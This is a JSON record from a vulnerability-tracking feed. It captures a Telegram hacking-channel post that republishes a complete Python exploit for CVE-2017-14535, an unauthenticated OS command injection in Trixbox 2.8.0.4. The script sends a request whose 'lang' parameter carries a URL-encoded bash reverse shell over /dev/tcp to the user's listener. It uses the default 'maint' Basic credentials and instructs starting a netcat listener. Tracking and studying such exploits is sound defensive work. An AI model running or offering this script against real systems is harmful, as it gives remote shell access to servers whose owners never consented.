{"uuid": "bfff2cc9-d830-438b-a3bb-b9f3363a2d41", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2017-14535", "type": "seen", "source": "https://t.me/hacking_Attack/10508", "content": "Exploit Collector\nTrixbox 2.8.0.4 Remote Code Execution\n\nhttps://1.bp.blogspot.com/-jW_VWiRlkJ4/WWlvh6QcNII/AAAAAAAAIQg/x12g-flM0hAb9z-fRCiW9Z3UAYaaFuf7ACLcBGAs/s1600/h9.png \nTrixbox version 2.8.0.4 has an OS command injection vulnerability that can be leveraged via shell metacharacters in the lang parameter to /maint/modules/home/index.php.\n\nMD5 | b20a34f5709b4607d3383fa6db1f537f\n\nDownload\n# Exploit Title: Trixbox 2.8.0.4 - 'lang' Remote Code Execution (Unauthenticated)\n# Date: 27.05.2021\n# Exploit Author: Ron Jost (Hacker5preme)\n# Credits to: https://secur1tyadvisory.wordpress.com/2018/02/11/trixbox-os-command-injection-vulnerability-cve-2017-14535/\n# Credits to: Sachin Wagh\n# Vendor Homepage: https://sourceforge.net/projects/asteriskathome/\n# Software Link: https://sourceforge.net/projects/asteriskathome/files/trixbox%20CE/trixbox%202.8/trixbox-2.8.0.4.iso/download\n# Version: 2.8.0.4\n# Tested on: Xubuntu 20.04\n# CVE: CVE-2017-14535\n\n'''\nDescription:\ntrixbox 2.8.0.4 has OS command injection via shell metacharacters in the lang parameter to /maint/modules/home/index.php\n'''\n'''\nImport required modules:\n'''\nimport requests\nimport sys\nimport time\n'''\nUser-input:\n'''\ntarget_ip = sys.argv[1]\ntarget_port = sys.argv[2]\nlisten_ip = sys.argv[3]\nlisten_port = sys.argv[4]\n'''\nConstruct malicious request:\n'''\n# Construct header:\nheader = {\n'Host': target_ip,\n'User-Agent': 'User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:88.0) Gecko/20100101 Firefox/88.0',\n'Accept': 'text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8',\n'Accept-Language': 'de,en-US;q=0.7,en;q=0.3',\n'Accept-Encoding': 'gzip, deflate',\n'Authorization': 'Basic bWFpbnQ6cGFzc3dvcmQ=',\n'Connection': 'close',\n'Upgrade-Insecure-Requests': '1',\n'Cache-Control': 'max-age=0'\n}\n\n# Construct malicious link:\nlink_p1 = 'http://' + target_ip + ':' + target_port + '/maint/modules/home/index.php?lang=english|bash%20-i%20%3E%26%20'\nlink_p2 = '%2Fdev%2Ftcp%2F' + listen_ip + '%2F' + listen_port + '%200%3E%261||x'\nlink = link_p1 + link_p2\n'''\nFinish: EXPLOIT!!!\n'''\nprint('')\nprint('')\nprint('Please start the following command in a seperate terminal: nc -lnvp ' + listen_port)\nprint('')\ntime.sleep(2)\nReady = input(\"If you're done and want to start the exploit please input EXPLOIT: \")\nif Ready == 'EXPLOIT':\nprint('')\nprint('Exploit sent, check your Netcat instance :)')\nx = requests.post(link, headers=header)\nelse:\nprint('TRY AGAIN')\n\n\nSource:packetstormsecurity.com\n\n___________________________ \n@hacking_Attack\n@Hacking_Video", "creation_timestamp": "2026-09-01T20:02:40.470090Z"}